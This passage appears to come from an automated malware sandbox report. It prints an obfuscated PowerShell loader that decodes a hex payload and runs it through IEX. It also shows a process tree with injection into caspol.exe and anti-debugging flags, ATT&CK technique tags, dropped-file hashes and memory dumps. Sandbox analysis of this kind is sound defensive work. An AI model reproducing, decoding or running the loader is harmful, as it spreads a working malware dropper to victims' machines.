l9Fa7UsCNoC MCPa0ImAFo6Cs8 F5De8AeFMi9Un0Mi8Ud1Se9Se6th8RaDHa8Ko1 A8UnFSp9no1In8Be8Po9Az0Ca9 I1Ti9Uo6Fe8Ru1Br9Pl6Wi9Ug7vaDGo5klDReCReDUn7AnDTj3FiCpuD D' A;Na&Ka(ch`$ KS noBamCiaRet sr CoChpDahTjiLan F7 T)Ho Di`$PeSTrtovbShlSyoCak OlEyaPenOrdrueBrn SePasHa4Sa; V`$UrS FtUnb OlCooDokNylroa JnDid GeUnn UeUnsCh5Hi No= S FiV PA kR E5Go3 I de'pe9He6 C8Sp1Fo9 B0Ni9 K1Ac9Ca6Ov8 FATnCHo4LiCsi0SvACoF J8St8 L8Fo0Sp8AcASp8amD T8aaA T8Bu3Je9Ep7ep9Kb7Kn9Uf0 T9geDNa8 SFBe8InFAr8Un1 t9Le0ChCUnABrATe7 D9Mi6Un8 S1 F8 S5 H9Im0Sy8 S1 VBEn0kb9prDIn9To4Ha8Ui1 BCEnCNrC DDTh'Re; K&Ov( J`$UnS ToBimCoaHatNyr So Bp AhPaiDon K7Sn) U H`$SiSUdtOubCrl FoUdkbolTaaAknWadgleOtn EeOpsDe5 U Ni Ex Sl;Le}Ch`$StMGraunsSptHauStrAabLuaSmtOxoShrus Un=dr NeVPrAKoRsp5Gr3Ur Ud'Ke8DeFDa8 V1Ov9sm6Mo8 LA H8Sw1At8 R8StDmo7WiDSp6Ch'Fs;se`$ fL FeTygUraPalSclSeyRe2Al Un=Ma GaVVeAPrRAs5Pr3Fr P'Ap9 H1el9Ud7Re8Et1Do9Fr6LiDRe7 GDDe6He' A;Fr`$HoP IoTalBoa ZrSpi osUneJurSaiSonWhg C0Kr3Hy Re=si HyVHaAPaRRa5 U3Id c'PaARo3No8Cl1Kl9Or0AcAWi7Tr8UnBPs8 KAud9In7Pa8CiBDu8Sk8Ge8Se1baBPe3 e8PoDRi8SeATr8ln0Er8 CBJo9 D3Co'Fi; S`$SmPReoLilSvaMirBaiChs SeKurBoiRenBagAf0sa0Tr=SyV IAArRSm5Hu3Du Tr'CeBNo7Am8MeC T8HaBIn9Om3RaBet3Be8BjDMa8AfAHo8Or0Bi8PrB s9Ce3Aa'Dr; d`$ ASButNybRolSaoPrkNalKla EnKodShe SnMiekasLe6Uh Sk=Im GVPhATrRSa5Fl3Ka P'HyCFn0 AAOtBUd9La1Mi9Ol0Eg9Fe7 G9Su0Tu8Qu1Mo9Be4 D9Vi4En8 D1Re8Sc0 UDLy6MyDMe4EjDBrCJoCAr4GvDAs9 WCHl4AbBStFSiBPe7Fo9 GDRo9Ga7 B9Fu0 F8 S1 P8 O9 SCSpABeBTa6Su9 L1Af8ShANo9Un0Je8BrDLu8Ha9Ca8ch1MeC HASiAUnDDv8SkAMo9Ic0Di8 n1Ku9 S6Sa8ibBSt9Ba4OrBUw7Qu8Cy1Re9ef6Sl9 R2Ma8 oDGe8Re7Ub8pa1Wh9Vo7 NC FASlAAn9Bt8An5El9 S6Cr9Sp7Or8AsCCi8Co5Un8Le8maBMo9HiDUnEMaDDyELeAGl3Fa8Gi1Re9Yi0KeA P0Ai8bi1 A8 b8Fr8st1Br8Bo3Do8 F5Ph9Dr0Kn8En1KuAco2Ph8AfB L9Rn6 BABo2Ro9Fo1Hi8FlARa8Pa7Re9Sm0St8KaDPo8StBUn8BoA FBtr4Sy8 CBJa8InDLy8UnAJu9 A0re8St1Do9Pa6GeCNeCdyCFaCSe8 H2 U8MaFSl9St4PeC A4KaCGl0ViAUv9Sn8Fo5Op9 O7Ch9Re0So9 a1La9Ma6ay8St6Di8ra5pr9Lo0Sp8SlBIn9Ge6VeCSa4SeCKo0 SB L7Ph8ReBKi8Sa9 F8gl5 P9st0 H9 R6Sc8WeBRe9Wh4Ra8ceCPi8AbDCo8paA AD F0FeCDyDDiCIn8HaCUn4BeCHiCUnAVi3 JARa0AlBNo0AvC C4BaAdi4MaCsiCInBEnF PAPrDSk8DvAPr9Un0FoBTe4Pl9Kl0Sh9De6ryBpa9SaCHa8BrCSo4 TBSlFCrBFr1TuATvDem8TaAMo9Su0ApDFi7GeDam6 YBDo9 BC A8 LCFe4TeB CFmeBFl1SaA SDSh8MeALe9Re0 HDPe7StDHo6 pBUn9MoC H8 JC L4 SBFoFMoBto1ClA SDSv8SoAAs9 d0 EDco7TuD N6LaBBr9OuCAlDGrCKl4OrCReCBuBNeFReAUdDGo8OrASt9 W0NvB G4Be9Va0Ma9Ke6 RBhu9SkCGrD ACVeDDrCSpDpr'Kl;Ar& S(Ta`$MaSHeodim HakotLirCioEupSthEkiUnnTo7Br)Lo Li`$ArSGutkobudlPloCok UlEmaFrn SdIne LnRueShsRu6 S; G`$SuPFlo AlMiaVerMai Ss FeGrr NiRun PgHi0Te1Br Mi=Sm NuVSuAJaRKu5 E3Br Un'FoCHa0PrASt0pr8 U5Ca8Al3 R9fr7 S8Ka6 B8To1Be8In2 S8Ne5Je8Fo8 M8TeDFa8ovALi8 U3 U8ta1 N8 BA L9Yd7maCBu4ImDLr9RuCCo4UnBFlFreBme7 u9PeDTa9 R7 C9Va0Ud8Bl1 P8 A9 ACBeAAdBDr6Kr9Cr1Ba8TrAGa9 H0 a8FaDKr8Te9Un8 M1QuCAuAPaAreDMu8FuAMe9 K0To8Ir1 S9He6Ou8 NBSo9Gr4FoB S7Ki8Bi1Ak9Pl6Co9Pe2El8AbDBa8nu7Sp8Ra1Ly9St7WaCGaAFaAAz9 C8Vi5Mo9Bo6Sp9be7 r8MoCCa8 A5De8Un8DrBap9StD UEVaDAmEHuARa3Di8 G1 A9Se0AnA c0Je8Be1La8Ve8Un8Wi1 D8Co3Pr8Su5Th9 A0Ve8De1ShACe2Sn8BaBmi9dr6PuAPa2Se9No1An8BeAUd8Ve7 p9Ce0 S8SpD W8MaBMi8SiAInBPr4Ve8ChBCr8CaDOn8 BAFo9Ru0Pu8Af1Me9Un6soCtaCLnCUnCSk8bu2Br8trFBl9Fe4AfC G4 iC A0ryAKo8Ca8Re1Au8Fa3Wa8wa5ra8Ta8in8Ga8Op9viDPoDGa6teCDd4spCGl0HeBTh4Re8PhBQu8Fi8Bi8sl5Br9Ca6Do8LuD B9Ga7Bo8Tr1 P9Un6Tr8FiDRd8inAOu8Ri3SuDFy4ViDCh4WiCAnDHaCTe8StC B4flCBrCRuASe3 OASy0DaBSi0ArCKn4ReAOl4MyCOlC NB wFSkALeDGi8SpA R9Ko0LiBSi4Cr9De0ga9To6InB H9NuC L8biCSe4 EB SFFiB E1 cADuDNu8KeA I9sn0KnD P7SkDIn6juBSp9MoC SDInCSk4 hC RC DBStFToAAmD R8ShAJa9Au0BaBPo4Br9 F0Kl9Eu6GuBGa9VaCFiDPuC HDEvCInDBl'Fa;Bo&mn( K`$ ASTeoFomPsa StOmrBdoDep Bh FiPinKr7Pa) U Ci`$ NPClo IlRuaForAniInsPreBrr IiOrnMogSm0Ba1Sc;Re`$AfP BoBal raCrrEtiTisYaeUmrDoisanGeg R0 M2 R B=Ch NVLuAKoR G5 c3Dy S'StC S0AnALsCLi8FoEPr9Pr0Be8 UDIn8De0 R8El1Pl8Ov8Re8NeDHa8An3St8 CCUn8ViB C8Ny8Ho8lr0 f8Ab1 U8 SARe8Ru0Pr8 U1Fo9Tr7flCNo4PoDTo9KrCCo4DoBLiFDmBTu7Be9CaDTn9Pa7Ru9 S0As8Mi1tn8Ov9AnCSoAMiBAl6Re9Le1Ro8MiASa9To0Et8ClDHv8 I9 S8Pr1UrCUnA rA KDJa8 MAwi9La0dr8Un1Ba9Sl6Ca8SaBPa9Ro4 DBBo7Ch8 E1Em9 R6 B9 A2ra8OwD R8 M7St8Ly1Ac9 B7FiCKoADaARe9Po8 P5Tr9Fj6Af9Re7Bo8 ECpo8As5 U8Be8BuBIc9 HDciELeDBoESaAte3Hu8An1Pr9Dr0DeAUn0Li8Ku1Do8Tn8Fa8Gr1Om8Bo3 H8Ne5Ru9Mu0Bo8Ba1OvAAn2sw8McBSt9 W6AuAko2Re9Re1Sl8CoA U8Na7Do9Sl0Sa8SpDDi8SeB A8TiASyBsr4su8TrBUd8GwD P8 PAAd9 G0Af8Lo1Ty9 U6EpCChC FCDiCIz8Af2To8lyFVa9Bu4SlC R4BlCLe0OvAta9Aw8Ef5 E9No7Ur9He0 M9ox1Lo9Un6No8 S6wa8Mi5Mg9 S0br8GrBSt9Me6DeCSv4HaCup0 LB M4Om8OpBSt8He8In8 A5su9Fo6Sk8StDEf9Lu7 f8Wh1 C9Lu6 P8MoDUd8BaAUn8Ta3 ODSc4CaDFo7 BC RDOpCaa8DiC T4SkCDaCSoAme3 UAis0CuBan0InCCo4FoALs4 ECReCBeB BFTuA JDOv8 UAPo9So0VoB S4 S9Ua0De9Po6TaB U9SkCDrDFaCGu4 ICTiC MBBaFMoADeD M8MyASa9Gr0CeBMi4Me9Ev0Pa9 S6TrBNi9FuC DD PCNoDMaCSkD S'Eg;Ph& B(Di`$ fS Go MmUnaStt CranoKlpNohAkiBunDa7Bo)Un Un`$ UP EoTel PaAdrNei SsLaeTer Ti MnBagHa0Ho2Ta;Hi`$ ASMitRybChlCooEtkVelchasonKrd Pe AnDeeFesOp7me Ud=Fu seVQuAUnRSt5Dr3 L R'NoCVe0UnB S6 D8ud1Un8 s9Un8SlBSn8AnAAr9 B7Pr9Op0te9Ch6Ap8Sn5fi9ju0Hu8FoDNo8AfBEk8inA L9 A7 VCEx4FaDOv9PrCHo4KoC D0ViAskCPr8 DEVa9Ov0 E8RaD C8op0 c8 S1Sp8Ov8Or8NaDBo8Am3Ra8UnCDe8 SBSl8da8Du8Pr0Et8 G1Vi8LaAEr8Fe0No8Ba1No9 Y7StC BABeARoDOa8SeAUb9Re2Ov8BeB n8FoFUn8Pr1TiCSpC UDMi4FoCFdDRa' T;uf&fe(Sp`$grSGeoGam DaBet PrStoRepCyhNoiVenUa7 U)Sk Pa`$NuSInt UbhylSaoGakInlOpaNvnIndAseFonMieInsFa7Cl;Ba`$AsSsetSabHol EoSvkstlInagenBadZiebenAteKosFo7Rv Fo=Fl SVJeASkRUn5Ti3Vi St'UnCFl0HyALe0Un8Br5 T8Ro3Ge9Fr7Ti8Dr6Fe8Un1En8Sk2St8ov5Bi8Ji8Ro8RaDLu8PeATe8 s3Er8Be1Co8StA t9 t7teCSaAUdALuDUd8HoARe9Wi2Ri8 CBCa8 BFBl8Ve1 PC SC HCSe0 ABFi6Af8Su1Ga8Cl9co8MoBCy8suA E9 F7Fo9 S0Bl9 I6Cl8Fr5Se9Th0 S8SkDna8SqBOv8FoAGo9 E7 ACMu8MaCAd4HaD S4SkCAcDeu'Pj;Su&Sa(Gn`$HoSBeoLimIoaRet Lr OoFipcuh Ti Nn f7he)Al Sa`$AkS htbabKolLaoKrkHvlMoaFonUnd Me Un GeMasCa7Ku;Ca`$AlDFaeSalDiu CsStiCov ReEnnEseOpsUnsAg Ha=Et BofHjkSupHy P`$ FSHuoLam BaBrtBirProVapKohThiMinsa5Tr As`$KoS SoDemOuaFotStrimoMepSihMiihynLa6Ro;Ch`$NeSGltJubDelSnoOvkStlOhaPrnLadBeeStnIseStsRe7 E Do=Ca BrVAaA oR T5Ud3 P P'PiC U0poASe6Sy9Fo6Fo8 B1Gl9 S2Bo9 r7Sh9Fo4Br9 M6Pi8NeFKo8GeFFo8De1ba8PaACo9ch7AuDCu7LoCTr4KiDin9AcCBy4NoCma0SnASlBRa9Fr1Pl9St0Fl9Sk7 S9Do0 f8 L1Mi9Ho4Ca9Sa4Fo8We1po8Fo0 HDSk6ScDSt4 SDEjCstCpaAHuA UD A8DiAAd9 E2Bo8YeBOd8FoFTe8Cu1reCCaCTrB RFAnAHeDDr8InATo9Fa0BlBPu4Gl9Me0Ni9An6 DBSc9DrDHaE FD hEHaBSpE S8Re1 E9 O6Re8LaB pCNo8PyCKa4DeDFo2UdDTr5SlDTeDGuCfr8CoCGo4SeDVi4 i9UdC PDEm7CeDEu4AnD V4RaD t4acCHy8SpCCh4 DDTa4Ek9FoCTiD C0EtDFo4CoCSuDFl'St;Co&Mu(Ch`$BeS So Pm ma OtDirSeoMip UhrhiTynMa7ki) K Su`$HiSBitRhbRelAfoMikKlldia FnRodCoePanNee PsPa7 T;Ps`$SkSGrtOvb SlAroEfkMal CaSpnMedNoeKan AeNisBl8 V e=St liV RAloRSm5Ph3Mu Ar'FaC G0OvAVe3St8Su5Re9Vg6 F8Sk0 T8BrBSa8BuAblC K4ThD Q9 LC D4udCUn0BeATiBOp9In1Ch9Af0Br9In7Wh9 M0La8me1 O9Cl4Du9Ed4Ti8Gi1Ar8Na0PaDfl6ShDGa4CrDFrCUoCBeASpANoDOr8BeAGl9Pi2 E8 sBBi8CeF H8Vl1UnCFaC WBSeFNeARdDpa8SkAAl9Ar0EfB K4 G9Ha0Ro9Ko6GrBAv9OrDWaEUnDomEMyBRhEAr8St1Da9 A6te8abBTrCEn8KaCMo4apDKoCHiD M0MeDBrCEcD M1JoDAr2AkDInC SDJa7PrDig6UnCRn8UnC G4IrDCh4Pr9PlCOrD S7SeD S4PrDMe4 CD t4StCOp8FeCEr4FoDUn4It9AdCPoDJe0UnCLiDNo'Fa;Ki&Ge(by`$CaSMio CmKnaSyt TrIloGopDehSeiIonDe7Lo)Cu Fo`$TaS ftMobInlTooUnkFalStaSunTidDie Ln ce Es E8Te;Re`$PoBrurBoeApv AsRep dr EkAnk FekrnKus P2Br=Sp`"""Lo`$GeeDin Av T:SyT oEtrMAlP N\BedBaeKlsadcNye Sn Us CoExr FyAs\FoRTro uePho Np Ht KaSegDieUnr heFo\ViF Ml PuProMarOpeSisGecTreunn Pc WeThsYa.OmPVeeMitAn`""" F;Si`$CiSKltLobWhlReoEakFalEmaHanBadFoe FnLaeNosHo9un Ko=le SV UAFoRCe5Ha3 P He' LC O0 cB A7Ac9Re0Er8Wh6Te8Le8Tr8 fBLe8StF G8 T8Ch8Br5 j8 SAKl8Th0Ir8Fa1Gu8 vAOv8Un1 F9Al7BoCPr4TfDIl9LuCSe4InBOvFCaB F7di9ArDPr9Na7My9Ve0St8Ku1Am8In9noCPoAToASpDStADdBKvCSaADrA T2Qu8 PD C8No8Un8Di1PlBMo9ReD MEVaDReECrBSp6La8Va1 T8Pn5Oe8 C0MiASt5al8Mu8Fr8Ma8ExApr6De9SuDDe9Fr0Am8 K1Sk9Ep7EfCHaCBlCNo0StA D6Th9Fl6Sk8Un1An9Sk2 R9He7Th9Ch4Co9Fo6ba8 KFTa8SkFEm8Bi1Gl8 LATo9ka7heDNa6KhCLiDCo' U;Li&Cr(Be`$BuS So FmTjaFrt ArruoPapFihUdiDinKr7le)At Ba`$YoS TtTib PlCoo NkWolUnaPrnUddRheOrnTieMisFe9Sp;Dr`$AuLSueseaHosFleSmrNo0Ab so=Mi ViV SAtfRNo5Pa3ph Ca'FaBCaFSiBIn7Ti9SyDBe9Sy7Li9Qu0Fl8Bo1He8 I9PiCsmATrBUp6So9Pe1Ko8RoABu9Or0Ab8LaD B8Ma9 B8re1piC CAUnA PD I8 LA F9Un0Pr8up1Fo9 K6br8CoBOk9Co4HyB B7Un8An1Un9Un6fo9Pe2Fr8GeD T8Di7Ps8Va1Di9Dy7RaCcaACeAJa9Ou8Ka5Kr9Eu6 s9To7Re8SpCEt8Af5Si8Sa8ArBTa9PhDBaEchDteE PASl7ov8miBTo9 R4Je9 NDUnCRiC kCUd0suBIk7 S9Gu0Kr8Ap6Vi8Av8La8StBma8VeFLy8 E8Pa8 T5El8GeAUn8Ty0Ke8Se1 G8PoAMi8 C1Em9Di7SyC M8UrCAn4djDSh7 CDGr4wiDIn6blDFo0TrCEx8veC P4isCSc4TeCPo0 BAPe6Un9 O6po8Li1Br9Kv2co9No7Sy9Cy4 T9Ep6He8MiFPa8 EFBo8Ex1Bl8 OAun9Eg7StDAl7PaCFo8RrCAr4WaDov2HoDFl5ExDNoDSvCInDFi'Ve;Bi&Un(Pr`$SmSGeoFemUmaUntVnr ooGep Ih GiTyn J7 R) A Vr`$ShL PeMoaPisMie PrOv0So;Ko`$ReHNoeSamPeaSttBeaAscLuhDeoSpmChe StFirSkyMa= B`$CaSpotPobsolreoEfkUnlTiaMin HdEkevanNoeSksAe. AcTroAmu InTrt a-Sl6Wo1At9 I-Bl3Ra0 H2Tr4Dm;Sl`$LiLThechaKlsGreForMe1Pr Un=Fl grVpaA TRLa5Ch3No Sa' CB TFScBHu7Ne9srD A9 O7Ca9me0 T8Sn1Th8In9SaCWeAOpBUn6gi9 S1Ba8 SATa9 B0 T8SkDPe8 O9Vi8Un1MaCUnASkAKaDPr8BlAre9La0Re8In1Le9Ko6En8 HB M9Se4 CBFe7Ko8Ov1Le9Cl6 A9 U2Tr8prDNa8Re7Un8 D1 M9Ch7UnCDoAGrASy9Un8Bj5Mo9Gu6Do9Ap7Ve8 ICSn8fl5Ua8Da8peBWh9TeDWaEdrDFoEUnATi7Do8DaBFo9 V4In9PoDSpCTuCBrCTi0BuBKn7Ka9Mo0Un8Ma6 N8Un8Do8SoBAt8DeFAr8Sq8St8En5St8ReA T8Co0In8Pr1Ch8 TAEi8Ho1 D9Om7NeCBo8KaCUn4FoDPa2SpDDr5 sDDdD aCTyFMeD D7 SDPa4UbD F6 AD P0LuC S8NoC D4IlCFi0UnAHa3Sp8Su5St9Vn6 C8Ma0An8AfBSu8NoAChC U8 TCJa4FlCGa0LeADrCHn8An1St8Pa9Da8 M5Lu9ti0Ca8 B5Fi8Ca7Bu8UrCJe8 ABHe8Ly9Sk8Mi1Va9St0 F9Di6 I9HkDLiCUnD S'De;Kn&Ga(Me`$trS Jo PmTraPatEdrProCopByhWaiPanCo7So)Pl Un`$fiLVaeDiakosJeeuprPr1 f;Ho`$ ILFre OafasOkeDirSp2fl Bu=Fo TeVsiAEyRPr5Fo3Co M'PuCSt0OaB R6 D8asD U8An0Ga8En1 S8Or2 S8OrBOs8Be3Au8Go1Ma8Nu0To8 R1gi9Ou6Ag8BaAfl8Un1SaCPh4KaDSt9GaCSt4NyBTrFBaBPr7Ra9BoDIr9 g7Ka9In0 P8 U1Dy8Bi9 WCHoA hBBa6Ya9Se1Er8MyASe9 T0sk8TuDFj8Tu9Fr8 G1NoCSiASoAFoDal8UdADi9 C0 A8Bi1 s9He6De8AmBSk9Dy4MeBAv7Re8He1 V9Mo6Fo9ra2Fo8NoD E8Ma7Re8 S1Op9Fr7SdCFoA EASw9Sc8Fa5Ko9gr6Sy9Fr7eu8KoCDu8 b5Au8Sv8CuBSk9SeDLaEOkDGeE MAIn3Co8Se1st9 W0RuAEm0Sk8Sp1Li8Di8Eg8Be1St8 s3Di8Ad5In9 u0na8 V1CrABe2Va8StBFl9Ki6 HACo2Af9Po1 E8DoALy8Pr7 O9Kv0Gy8AnDpr8PeBCh8AnANoBSv4La8UdBUn8GnDps8emAKu9 G0 S8Ud1Di9 T6 TCDaCEgC WCKu8 v2Sy8 FFPs9Un4UnCLo4DiCHa0UnBPu4 E8DeD K8 U2Re9 F0 U8 T1 D8AtAAn8 H0 P8pr1EmC O4VeC F0SaATa8Re8AdDRu8Kl6 I8Pa1Me9Va6 V8OpDBo8pe5No9Ur1No8 G3Fo9Mi1Al9 B7He9Da0LaCBoD fC B8HeC K4UnCFeCGuA T3 VAtr0DaB D0RgCMe4unA R4VeCAzCSoB CFFuAMiDGe8UdAFr9Me0HaBBr4Ak9Te0To9Sl6GeBSt9BaCSt8ToCAf4DaBmaFInAFuDDy8EkA D9Sk0CrBDo4 T9At0Th9 A6CoBSv9FrCDa8PeCAa4SvBPeFExAopDPr8BeAsi9 O0 RBLo4Ta9Or0Ne9tr6AmBCo9beCEg8 ICTo4 pB CF LASiDCa8EnA F9Ch0FoBIn4Or9Ab0Bi9 q6PeBFa9BoCRe8GrCil4StBPoF SA BD o8FoA H9 T0 HBEn4pl9od0Pa9co6DrBHe9InCToDSpCer4raCTrCKlB TF SAphD O8NiA O9Pr0DeBEu4 r9Lo0Gn9 F6AbBOp9PaCCoDBuCUnDLoCQuDDe' D;Ki&Fj( H`$UdSDroAfmTraFet CrByoPipOphBri Knud7Yo)Va L`$KrLDre NaThsCleSirSu2Ej;ka`$ToLFae SadosRve SrUn3Pr In=Am ThVWoASlRBr5Oy3Ci Ha'HaCFr0SaBOu6Ch8HaDRe8De0Mi8So1 N8 K2Me8QuBKi8 K3re8 M1Sc8He0Re8 S1Ta9Ov6Ke8TaA S8Le1DoCbiA RAUnDbe8PoAUd9Ju2Si8GeBSy8KoF T8 H1TaCOaCEnCId0JoAto6Fr9Ni6 P8Ag1Mi9Vi2Ud9Ek7Sl9Be4Hu9Im6in8SkFKb8HoF S8Ba1Ga8BlAGh9 N7 DDPa7MuC t8 fC U0GrAUn3re8St5Ov9Ng6 P8 E0Re8BrBKo8OvACyCAu8ReCDu0 EASl0Fl8Br1Pr8Me8An9Co1Co9Te7As8spDTu9So2Se8Ke1 K8MiAJa8Pa1Bu9Do7br9Ov7VuCBe8ArDre4HyCDo8UnD T4BaCImDDe'In;Bn&Qu( T`$ PSUioNomGaabet SrHio apMihCriefnFi7 M)Fi Fo`$DiLRieBoaGasPue brAu3 D#Be;""";<#Dekuperinger Sandslottenes Sulfoxylate Telefaxe #>;;function Leaser8 ($Liberia,$Udstansningerne) { &$Frugaliteten0 (Leaser9 'Re$ PLSkiTobSle KrFiiAdaEf He-TubYaxHao krTh Ov$FrURodHosHytBrarenResAbnUriNynRug Ve HrDinPleeu ');};Function Leaser9 { param([String]$Minusgrads); <#Slumarbejde Basketballkaskettens Brndkammer Vedligeholdelsesudgiften Uncomprehensiveness Flattop frihedsfjendske #>; $Digitalissene94=2+1; For($C=2; $C -lt $Minusgrads.Length-1; $C+=($Digitalissene94)){ <#Krusenes University Specialtilstandenes Yock Embouchurerne Pyjamaserne #>; $Polarisering+=$Minusgrads.Substring($C, 1)} $Polarisering;};;$Frugaliteten0 = Leaser9 ' sI MEPeXSh ';$Frugaliteten1= Leaser9 $Aline;&$Frugaliteten0 $Frugaliteten1;<#Koldsvedens Necessitude Mahogany Champion aritmetikere Nonrefillable #>;"
    3⤵
    - Checks QEMU agent file
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2776
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe"
      4⤵
      Checks QEMU agent file
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:2528

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\descensory\Roeoptagere\Argumentatively.Amb

Filesize
25KB

MD5
878a61b790b78baf8d0b0de960ced8c1

SHA1
43e89120d4a8aed8a2bfdeb8621cf554db7b0d9d

SHA256
11bc6e98b1a9eb514257c1d03747bad8b09e5dabc57fe7e39c82f1a70c49be49

SHA512
8ba30a01c1e0b3c83f1bcc8c4a679064b6864cf312f058ee46e61ea61c864bcbf39043ebc0c535b433dd0b00333a80d6e4dfbc2d656116576b9b2825f0c54da3

Download Submit
C:\Users\Admin\AppData\Local\Temp\descensory\Roeoptagere\Fluorescences.Pet

Filesize
374KB

MD5
024b772ad51e0d63233f66f9f057cc66

SHA1
74aa70d12a31381d54827fdb81b0fea4e96b7d2f

SHA256
ee37c55fcd9d60f555d0666727da0685b7b089efdb75ccf03983856905cfbbb4

SHA512
5e10446d0386510f1dce6657ad84d1baa2ac6d5de73c489aa246c306e7b1e69f7761991e26db20609268b613b34c43f2dda6a3775cf6ad89f5994fd7df1ac65e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2HIY11EKJ800DGYJ6HGN.temp

Filesize
7KB

MD5
baa72b732ea6c243c8d16094d44dc2f2

SHA1
6f9e979102c6cb26339c142304cbd019abe4d39c

SHA256
32e0c995d61e1240c31b2a5642c4087896b30fb238be66cc923a99938c175fc3

SHA512
feb9b79a29f0e6b12264cf099710f876a0559c79c2aaa438c1416bf53d9811f3f5aa215a4c5f4354dc0ce8fd60aad3f97c98af5c606a1ef3344d477d6f57d8ad

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
baa72b732ea6c243c8d16094d44dc2f2

SHA1
6f9e979102c6cb26339c142304cbd019abe4d39c

SHA256
32e0c995d61e1240c31b2a5642c4087896b30fb238be66cc923a99938c175fc3

SHA512
feb9b79a29f0e6b12264cf099710f876a0559c79c2aaa438c1416bf53d9811f3f5aa215a4c5f4354dc0ce8fd60aad3f97c98af5c606a1ef3344d477d6f57d8ad

Download Submit
memory/2528-38-0x0000000077110000-0x00000000772B9000-memory.dmp

Filesize
1.7MB

Download
memory/2528-39-0x0000000077110000-0x00000000772B9000-memory.dmp

Filesize
1.7MB

Download
memory/2528-40-0x000000006F600000-0x0000000070662000-memory.dmp

Filesize
16.4MB

Download
memory/2656-10-0x0000000073B50000-0x00000000740FB000-memory.dmp

Filesize
5.7MB

Download
memory/2656-45-0x0000000073B50000-0x00000000740FB000-memory.dmp

Filesize
5.7MB

Download
memory/2656-29-0x00000000026D0000-0x0000000002710000-memory.dmp

Filesize
256KB

Download
memory/2656-13-0x00000000026D0000-0x0000000002710000-memory.dmp

Filesize
256KB

Download
memory/2656-12-0x00000000026D0000-0x0000000002710000-memory.dmp

Filesize
256KB

Download
memory/2656-11-0x00000000026D0000-0x0000000002710000-memory.dmp

Filesize
256KB

Download
memory/2656-25-0x0000000073B50000-0x00000000740FB000-memory.dmp

Filesize
5.7MB

Download
memory/2656-9-0x0000000073B50000-0x00000000740FB000-memory.dmp

Filesize
5.7MB

Download
memory/2656-30-0x00000000026D0000-0x0000000002710000-memory.dmp

Filesize
256KB

Download
memory/2656-28-0x00000000026D0000-0x0000000002710000-memory.dmp

Filesize
256KB

Download
memory/2776-26-0x0000000002750000-0x0000000002751000-memory.dmp

Filesize
4KB

Download
memory/2776-27-0x0000000005CA0000-0x000000000AD8D000-memory.dmp

Filesize
80.9MB

Download
memory/2776-31-0x0000000073B50000-0x00000000740FB000-memory.dmp

Filesize
5.7MB

Download
memory/2776-32-0x0000000002840000-0x0000000002880000-memory.dmp

Filesize
256KB

Download
memory/2776-33-0x0000000002840000-0x0000000002880000-memory.dmp

Filesize
256KB

Download
memory/2776-34-0x0000000077110000-0x00000000772B9000-memory.dmp

Filesize
1.7MB

Download
memory/2776-35-0x0000000077300000-0x00000000773D6000-memory.dmp

Filesize
856KB

Download
memory/2776-23-0x0000000002840000-0x0000000002880000-memory.dmp

Filesize
256KB

Download
memory/2776-22-0x0000000002840000-0x0000000002880000-memory.dmp

Filesize
256KB

Download
memory/2776-21-0x0000000073B50000-0x00000000740FB000-memory.dmp

Filesize
5.7MB

Download
memory/2776-20-0x0000000073B50000-0x00000000740FB000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing